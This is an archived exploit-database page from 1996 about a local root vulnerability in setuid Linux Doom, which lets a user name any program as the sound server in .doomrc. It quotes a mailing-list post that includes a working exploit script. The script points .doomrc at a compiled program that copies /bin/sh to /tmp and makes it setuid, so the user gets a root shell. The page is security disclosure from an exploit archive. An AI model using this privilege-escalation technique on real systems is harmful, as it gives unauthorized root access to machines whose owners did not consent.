Linux Doom sndserver vulnerability
|Description:||This one is pathetic. The user can configure a soundserver in .doomrc, and this program that the user chose, runs as root!|
|Author:||Joe Zbiciak <email@example.com>|
|Compromise:|| root (local)|
|Vulnerable Systems:||Linux running an insecure version of doom setuid root. |
|Date:||17 December 1996 |
From: Bo (firstname.lastname@example.org)
To: Tue, 17 Dec 1996 10:18:24 +0100
> From: Joe Zbiciak <email@example.com>
> Subject: Re: Linux: exploit for killmouse.
> Which reminds me, there's a bigger hole in Doom. It doesn't drop its
> root permissions soon enough! The user is allowed to set a sound server
> in his/her .doomrc. Normally, this is set to "sndserver". Howver, this
> can be set to *any* program, and that program runs as root!!
Yes, very true. And just in case anybody collects these scripts, here's
the obvious one:
# Tue Dec 17 10:02:20 MET 1996 Bo
echo 'sndserver "/tmp/sndserver"' > .doomrc
cat > /tmp/sndserver.c << EOF
if (fork()) while (getc(stdin));
else system("cp /bin/sh /tmp; chmod +s /tmp/sh");
/* or whatever you like to do */
gcc /tmp/sndserver.c -o /tmp/sndserver
The fork() is just so that doom runs on nicely without locking up the
keyboard and sndserver gobbles up all the sound data send to it. Run
the script, start sdoom, quit the normal way, and execute /tmp/sh.
Thanks for pointing it out, Joe.
"Heisenberg may have been here".
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:
[ Nmap |
Sec Tools |
Mailing Lists |
Site News |